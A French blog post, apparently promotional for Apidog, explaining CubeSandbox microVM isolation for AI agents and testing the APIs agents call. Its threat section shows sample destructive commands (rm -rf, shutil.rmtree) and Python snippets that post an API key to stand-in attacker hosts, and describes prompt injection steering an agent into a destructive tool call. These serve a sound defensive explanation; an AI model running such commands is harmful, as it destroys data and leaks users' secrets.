DEV Community

Cover image for CubeSandbox pour Agents IA: Explication de l'Isolation
Antoine Laurent
Antoine Laurent

Posted on • Originally published at apidog.com

CubeSandbox pour Agents IA: Explication de l'Isolation

Si votre agent IA peut écrire du code, il peut aussi écrire du mauvais code. S’il peut appeler des outils, il peut appeler le mauvais outil avec les mauvais arguments. La bonne réponse n’est pas seulement une meilleure invite : c’est une frontière d’isolation entre la sortie du modèle et la machine qui l’exécute. CubeSandbox fournit cette frontière pour l’exécution de code d’agents IA, avec une isolation par microVM, et doit être pensé avec les tests des API que vos agents appellent.

Essayez Apidog aujourd’hui

En bref

CubeSandbox est un service de bac à sable open-source de Tencent Cloud pour exécuter du code généré par des agents IA. Il utilise KVM et RustVMM pour donner à chaque bac à sable son propre noyau invité, démarre en environ 60 ms selon les chiffres publiés, ajoute moins de 5 Mo de surdébit mémoire par instance, et propose une API compatible avec le SDK E2B.

À retenir pour l’implémentation :

  • utilisez un bac à sable pour tout code généré ou déclenché par un modèle ;
  • limitez le réseau sortant et l’accès aux secrets ;
  • testez les API appelées par l’agent avec des mocks et des contrats ;
  • mesurez les performances de CubeSandbox sur votre propre charge de travail avant de l’adopter.

Pourquoi les agents IA ont besoin d’un bac à sable

Un agent moderne ne se contente plus de produire du texte. Il peut :

  • générer un script Python ;
  • exécuter une commande shell ;
  • lire ou transformer un CSV ;
  • appeler une API interne ;
  • chaîner plusieurs outils selon une décision prise à l’exécution.

Le problème : ce code n’a pas été relu par un humain avant exécution.

Exemples de défaillances réalistes :

rm -rf ./data
Enter fullscreen mode Exit fullscreen mode 
while True:
    pass
Enter fullscreen mode Exit fullscreen mode 
import os
import requests

requests.post(
    "https://example-attacker.com/leak",
    json={"token": os.environ.get("API_KEY")}
)
Enter fullscreen mode Exit fullscreen mode

Ces erreurs peuvent venir :

  • d’une hallucination du modèle ;
  • d’une mauvaise interprétation de la tâche ;
  • d’une injection de prompt dans une page web ou un document ;
  • d’un outil qui renvoie une réponse inattendue.

Le sandboxing permet de changer votre hypothèse de sécurité : vous ne supposez plus que l’agent va bien se comporter. Vous supposez qu’il peut mal se comporter, et vous limitez ce qu’il peut atteindre.

Une plateforme comme Apidog complète cette approche côté API : vous pouvez simuler et tester les points d’accès que l’agent appellera avant de lui donner accès à de vrais services. Si vous concevez déjà une architecture agentique, le guide sur l’architecture d’IA agentique explique comment articuler exécution, outils et contrats d’API.

Qu’est-ce que CubeSandbox ?

CubeSandbox est un système de sandbox-as-a-service open-source publié par Tencent Cloud sous licence Apache 2.0 en avril 2026. Le projet vise l’exécution de code non fiable généré par des agents IA.

Son architecture est principalement écrite en Rust et repose sur KVM/RustVMM. Les composants documentés incluent :

  • CubeAPI : passerelle REST compatible avec l’interface de bac à sable E2B.
  • CubeMaster : orchestrateur qui planifie les bacs à sable sur les nœuds.
  • CubeHypervisor et CubeShim : couche de virtualisation KVM qui démarre et gère les microVM.
  • Cubelet et CubeProxy : agents de nœud pour exécuter et router vers les bacs à sable.
  • CubeVS : couche réseau basée sur eBPF pour appliquer l’isolation réseau entre bacs à sable.

La différence importante : chaque bac à sable a son propre noyau invité. Ce modèle est plus robuste qu’un conteneur classique, qui partage le noyau de l’hôte.

Selon la documentation et les annonces Tencent, CubeSandbox annonce :

  • environ 60 ms de démarrage à froid en concurrence simple ;
  • une moyenne de 67 ms avec un P95 autour de 90 ms pour 50 créations concurrentes ;
  • moins de 5 Mo de surdébit mémoire par instance ;
  • des milliers de bacs à sable concurrents sur un hôte de grande taille ;
  • plus de 2 000 bacs à sable concurrents sur un serveur 96 vCPU selon les documents de presse.

Tencent indique aussi que CubeSandbox a été utilisé dans son infrastructure et que MiniMax l’a utilisé pour de l’apprentissage par renforcement agentique à grande échelle.

Certaines fonctionnalités avancées, comme la restauration instantanée au niveau des événements pour les checkpoints et la restauration d’état, sont décrites comme étant encore en développement. Traitez-les comme une feuille de route tant qu’elles ne sont pas disponibles dans le dépôt.

Sources principales :

Menaces à couvrir avant d’exécuter un agent

Avant de choisir une technologie, listez les risques que votre agent introduit.

1. Code généré risqué

Un modèle peut produire du code incorrect :

import shutil

shutil.rmtree("/app/data")
Enter fullscreen mode Exit fullscreen mode

Même sans intention malveillante, l’impact peut être critique si le code a accès à l’hôte, aux volumes montés ou aux identifiants.

Mesures pratiques :

  • exécuter chaque tâche dans un environnement jetable ;
  • interdire les montages sensibles ;
  • limiter CPU, mémoire et durée d’exécution ;
  • supprimer l’environnement après exécution.

2. Appels d’outils non fiables

Un agent choisit les outils à appeler selon son contexte. Si une page web injecte une consigne malveillante, l’agent peut appeler un outil destructeur.

Exemple de comportement à éviter :

{
  "tool": "deleteCustomer",
  "arguments": {
    "customerId": "123"
  }
}
Enter fullscreen mode Exit fullscreen mode

Mesures pratiques :

  • séparer les outils de lecture et d’écriture ;
  • exiger une validation explicite pour les actions destructrices ;
  • journaliser chaque appel d’outil ;
  • tester les outils comme des API consommées par des clients autonomes.

Le sujet est détaillé dans l’article sur les agents IA comme nouveaux consommateurs d’API.

3. Exfiltration de données

Un bac à sable qui a accès au réseau et aux secrets peut devenir un canal d’exfiltration.

Exemple :

import os
import requests

secret = os.getenv("PAYMENT_API_KEY")
requests.post("https://external-domain.example", json={"secret": secret})
Enter fullscreen mode Exit fullscreen mode

Mesures pratiques :

  • ne jamais injecter tous les secrets dans le sandbox ;
  • fournir uniquement des tokens à portée limitée ;
  • bloquer le réseau sortant par défaut ;
  • autoriser uniquement les domaines nécessaires ;
  • inspecter les logs réseau.

CubeSandbox combine isolation par noyau invité et filtrage sortant basé sur eBPF via CubeVS. C’est important : isoler le processus ne suffit pas si le réseau est totalement ouvert.

Pour tester ces comportements avant la production, consultez aussi le guide sur comment tester les agents IA qui appellent des API.

Modèles d’isolation pour agents IA

Tous les bacs à sable ne protègent pas au même niveau. Voici les options courantes.

Approche Force d’isolation Démarrage à froid Surdébit Partage du noyau Exemples
Processus + seccomp Faible Instantané Minimal Noyau hôte partagé Sous-processus restreint, nsjail
Conteneurs Moyenne Dizaines de ms Faible Noyau hôte partagé Docker, containerd
MicroVM Élevée ~50–150 ms Faible à moyen Noyau invité dédié CubeSandbox, Firecracker
Noyau d’application Élevée Dizaines de ms Faible à moyen Appels système interceptés gVisor
API de bac à sable hébergé Élevée, gérée Variable Géré Géré E2B, offres hébergées

Processus restreint

Approche légère : vous lancez un sous-processus avec des limites.

À utiliser seulement si :

  • le code est majoritairement fiable ;
  • l’impact d’une évasion est faible ;
  • vous avez une défense supplémentaire au niveau de l’hôte.

Conteneurs

Les conteneurs sont pratiques et familiers, mais partagent le noyau hôte. Pour du code arbitraire généré par un modèle, ce n’est pas toujours suffisant.

À utiliser si :

  • vous acceptez ce niveau de risque ;
  • vous avez une couche d’isolation supplémentaire ;
  • vous privilégiez la simplicité opérationnelle.

MicroVM

Une microVM démarre un noyau invité minimal avec virtualisation matérielle. C’est le modèle de CubeSandbox.

À utiliser si :

  • vous exécutez du code arbitraire ;
  • vous avez besoin d’une isolation forte ;
  • vous pouvez exposer KVM ;
  • vous voulez un environnement jetable par exécution.

Noyau d’application

gVisor intercepte les appels système en espace utilisateur et évite que la charge de travail parle directement au noyau hôte. C’est une bonne option si KVM n’est pas disponible, avec des compromis de compatibilité et de performance selon les charges.

Où CubeSandbox se place

CubeSandbox vise un positionnement précis : isolation forte par microVM, démarrages rapides, auto-hébergement, compatibilité E2B.

Comparé aux conteneurs

Un conteneur partage le noyau hôte. CubeSandbox donne à chaque sandbox son propre noyau invité.

Conséquence pratique :

  • meilleur isolement pour du code non fiable ;
  • besoin d’un hôte Linux x86_64 compatible KVM ;
  • dépendance possible à la virtualisation imbriquée en environnement cloud ;
  • possibilité d’utiliser WSL 2 pour certains scénarios locaux.

Si votre plateforme ne peut pas exposer KVM, vous devrez envisager gVisor, un service hébergé ou une autre approche.

Comparé à Firecracker

Firecracker est une brique de microVM. CubeSandbox se situe plus haut dans la pile :

  • orchestrateur ;
  • API compatible E2B ;
  • gestion des bacs à sable ;
  • isolation réseau via eBPF.

Choix pratique :

  • utilisez Firecracker si vous voulez construire votre propre plateforme ;
  • évaluez CubeSandbox si vous voulez un service de bac à sable orienté agents.

Comparé à E2B

E2B fournit des bacs à sable isolés en service managé. CubeSandbox documente une compatibilité avec le SDK E2B.

L’idée est de pouvoir pointer une application existante vers votre instance CubeSandbox auto-hébergée :

export E2B_API_URL="https://votre-instance-cubesandbox.example"
export E2B_API_KEY="votre-cle"
Enter fullscreen mode Exit fullscreen mode

Puis votre code utilisant le SDK E2B peut rester proche de l’existant :

from e2b_code_interpreter import Sandbox

sandbox = Sandbox()
execution = sandbox.run_code("""
print("Bonjour depuis un sandbox")
""")

print(execution.logs)
Enter fullscreen mode Exit fullscreen mode

La vraie décision devient donc :

  • service managé ;
  • infrastructure auto-hébergée ;
  • contraintes de résidence des données ;
  • coût à grande échelle ;
  • capacité de votre équipe à opérer la plateforme.

Tencent indique aussi une prise en charge native du SDK Python d’OpenAI dans son annonce.

Checklist d’implémentation pour un agent sandboxé

Avant de lancer du code généré par un modèle, définissez une politique explicite.

1. Créer un sandbox par tâche

Ne réutilisez pas un environnement qui a exécuté du code non fiable sans nettoyage strict.

Modèle recommandé :

requête utilisateur
  -> planification agent
  -> création sandbox
  -> exécution code/outils
  -> collecte résultats
  -> destruction sandbox
Enter fullscreen mode Exit fullscreen mode

2. Limiter les ressources

Définissez des limites :

  • CPU ;
  • mémoire ;
  • durée d’exécution ;
  • taille des fichiers ;
  • nombre de processus ;
  • taille des sorties stdout/stderr.

Objectif : éviter qu’un agent bloque le système avec une boucle infinie ou une allocation mémoire excessive.

3. Bloquer le réseau par défaut

Approche recommandée :

deny all outbound
allow api.internal.example
allow mock-api.example
allow package-registry.example si nécessaire
Enter fullscreen mode Exit fullscreen mode

N’autorisez pas un accès Internet complet sauf si vous avez une raison forte.

4. Injecter des secrets à portée minimale

Évitez :

export ADMIN_API_KEY=...
Enter fullscreen mode Exit fullscreen mode

Préférez :

export AGENT_SESSION_TOKEN=...
Enter fullscreen mode Exit fullscreen mode

Avec :

  • durée de vie courte ;
  • permissions minimales ;
  • accès limité à une tâche ;
  • révocation possible.

5. Journaliser les appels d’outils

Conservez au minimum :

{
  "agent_run_id": "run_123",
  "sandbox_id": "sandbox_456",
  "tool": "create_invoice",
  "arguments_hash": "sha256:...",
  "status": 200,
  "duration_ms": 183
}
Enter fullscreen mode Exit fullscreen mode

Ne loggez pas les secrets en clair. Mais gardez assez d’informations pour rejouer et auditer le comportement.

Pourquoi l’isolation ne suffit pas : les API appelées par l’agent

CubeSandbox protège l’hôte contre le code de l’agent. Il ne protège pas vos systèmes contre un agent qui appelle mal vos API.

Exemple : un agent de réservation de voyage s’exécute dans un sandbox. Côté exécution, tout est isolé. Mais il appelle encore :

  • une API de vol ;
  • une API de paiement ;
  • un service interne d’itinéraire.

Si l’agent envoie une mauvaise clé d’idempotence à l’API de paiement, le sandbox ne corrige pas le problème. L’argent peut quand même bouger.

Le bon workflow comporte deux couches :

  1. Isoler l’exécution avec CubeSandbox ou une technologie équivalente.
  2. Valider le contrat des API que l’agent peut appeler.

Avec Apidog, vous pouvez :

  • créer un serveur mock ;
  • définir des réponses conformes au schéma ;
  • simuler des erreurs ;
  • tester l’authentification ;
  • vérifier les cas limites ;
  • rejouer les scénarios contre l’API réelle.

Exemple de scénario de test :

Agent -> API mock de paiement
  cas 1 : paiement accepté
  cas 2 : carte refusée
  cas 3 : timeout
  cas 4 : réponse malformée
  cas 5 : clé d’idempotence déjà utilisée
Enter fullscreen mode Exit fullscreen mode

L’objectif est d’observer comment l’agent réagit sans toucher à la production.

Le guide sur le test en bac à sable couvre cette logique d’environnements isolés et contrôlés.

Exemple de flux de test agent + API mock

Un workflow simple :

1. Définir le contrat OpenAPI de l’API appelée par l’agent
2. Générer un mock dans Apidog
3. Configurer le sandbox pour autoriser uniquement ce mock
4. Lancer l’agent dans CubeSandbox
5. Capturer les appels HTTP
6. Vérifier les arguments, statuts et comportements
7. Rejouer les scénarios contre l’API réelle en environnement de test
Enter fullscreen mode Exit fullscreen mode

Exemple de configuration côté agent :

export PAYMENT_API_BASE_URL="https://mock-payment.example"
export PAYMENT_API_TOKEN="test-token-scoped"
Enter fullscreen mode Exit fullscreen mode

Exemple d’appel :

import os
import requests

base_url = os.environ["PAYMENT_API_BASE_URL"]
token = os.environ["PAYMENT_API_TOKEN"]

response = requests.post(
    f"{base_url}/payments",
    headers={"Authorization": f"Bearer {token}"},
    json={
        "amount": 4990,
        "currency": "EUR",
        "idempotencyKey": "run_123_payment_1"
    },
    timeout=5
)

response.raise_for_status()
print(response.json())
Enter fullscreen mode Exit fullscreen mode

Ce que vous devez vérifier :

  • l’agent utilise le bon endpoint ;
  • les champs obligatoires sont présents ;
  • les types sont corrects ;
  • les erreurs 4xx/5xx sont traitées ;
  • les retries ne créent pas d’effets de bord ;
  • les tokens ne sont pas exposés dans les logs.

Si vos agents utilisent le Model Context Protocol, le guide sur le test des serveurs MCP avec Apidog applique la même logique à la couche d’outils. Pour la conception des contrats, consultez aussi concevoir des API pour les agents IA.

Cas d’utilisation concrets

Agents de codage et interpréteurs de code

Cas typique :

Utilisateur -> question
Agent -> génère Python
Sandbox -> exécute le code
Agent -> résume le résultat
Enter fullscreen mode Exit fullscreen mode

Exemples :

  • analyse CSV ;
  • génération de graphique ;
  • transformation de données ;
  • exécution de tests ;
  • correction de code.

Le noyau dédié par sandbox est important ici, car le code change à chaque exécution et peut être entièrement arbitraire.

Plateformes d’agents multi-locataires

Si plusieurs clients exécutent des agents sur votre infrastructure, l’isolation entre locataires devient critique.

Objectif :

client A / agent A / sandbox A
client B / agent B / sandbox B
Enter fullscreen mode Exit fullscreen mode

Même si l’agent d’un locataire devient hostile, il ne doit pas accéder aux données ou aux processus d’un autre locataire.

Apprentissage par renforcement agentique

L’apprentissage par renforcement agentique peut nécessiter un très grand nombre d’exécutions courtes et non fiables.

CubeSandbox est intéressant dans ce contexte pour :

  • démarrages rapides ;
  • faible surdébit par instance ;
  • densité élevée ;
  • destruction rapide des environnements.

Tencent cite MiniMax comme utilisateur de CubeSandbox pour ce type d’entraînement dans des environnements hétérogènes.

Agents de recherche et de données

Un agent peut :

  1. récupérer une page web ;
  2. extraire du contenu ;
  3. générer du code d’analyse ;
  4. appeler une API interne ;
  5. produire une synthèse.

Le contenu externe peut contenir une injection de prompt. Le code généré doit donc être isolé, et les API appelées doivent être testées via contrats et mocks. C’est précisément le cas où les tests de contrat d’API deviennent indispensables.

Plugins ou extensions non fiables

Si vos utilisateurs peuvent fournir du code ou des extensions que l’agent exécute, vous exécutez du code tiers non fiable.

Dans ce cas, une limite par microVM est une posture adaptée :

plugin utilisateur
  -> sandbox dédié
  -> permissions minimales
  -> réseau filtré
  -> destruction après exécution
Enter fullscreen mode Exit fullscreen mode

Points à mesurer pendant un prototype CubeSandbox

Ne vous fiez pas uniquement aux chiffres fournisseur. Mesurez sur votre charge.

Checklist de benchmark :

  • temps de création d’un sandbox ;
  • temps du premier appel ;
  • durée d’exécution moyenne ;
  • P95/P99 de démarrage ;
  • consommation mémoire par instance ;
  • nombre maximal de sandboxes concurrents ;
  • comportement sous saturation CPU ;
  • comportement sous saturation mémoire ;
  • efficacité du filtrage réseau ;
  • temps de destruction et nettoyage.

Exemple de métriques à collecter :

{
  "sandbox_create_ms": 82,
  "code_execution_ms": 417,
  "memory_mb": 64,
  "cpu_limit": "1",
  "network_policy": "deny-by-default",
  "exit_code": 0
}
Enter fullscreen mode Exit fullscreen mode

Validez aussi les scénarios d’échec :

  • timeout ;
  • processus zombie ;
  • écriture massive sur disque ;
  • tentative d’accès réseau non autorisé ;
  • tentative de lecture de secrets absents ;
  • sortie stdout très volumineuse ;
  • crash du code exécuté.

Conclusion

Le sandboxing d’agents devient nécessaire dès qu’un agent exécute du code ou appelle des outils sans validation humaine préalable. CubeSandbox apporte une réponse concrète côté isolation : microVM par bac à sable, noyau invité dédié, API compatible E2B et architecture auto-hébergeable.

À retenir :

  • CubeSandbox est un bac à sable open-source pour agents IA, publié par Tencent Cloud sous licence Apache 2.0.
  • Son point fort est l’isolation : chaque sandbox utilise son propre noyau invité via KVM/RustVMM.
  • La compatibilité E2B réduit le coût de migration si vous utilisez déjà ce type d’API.
  • Les chiffres de performance doivent être validés sur vos propres charges, car les benchmarks indépendants restent limités.
  • L’isolation ne suffit pas : elle protège l’hôte, pas vos API.
  • Les contrats d’API doivent être testés avec mocks, scénarios d’erreur et validation de schéma.

Si vos agents appellent des API internes ou externes, mettez en place la couche de contrat en même temps que la couche d’isolation. Téléchargez Apidog pour simuler les services appelés par vos agents sandboxés et tester le schéma, l’authentification et les erreurs avant la production.

Top comments (0)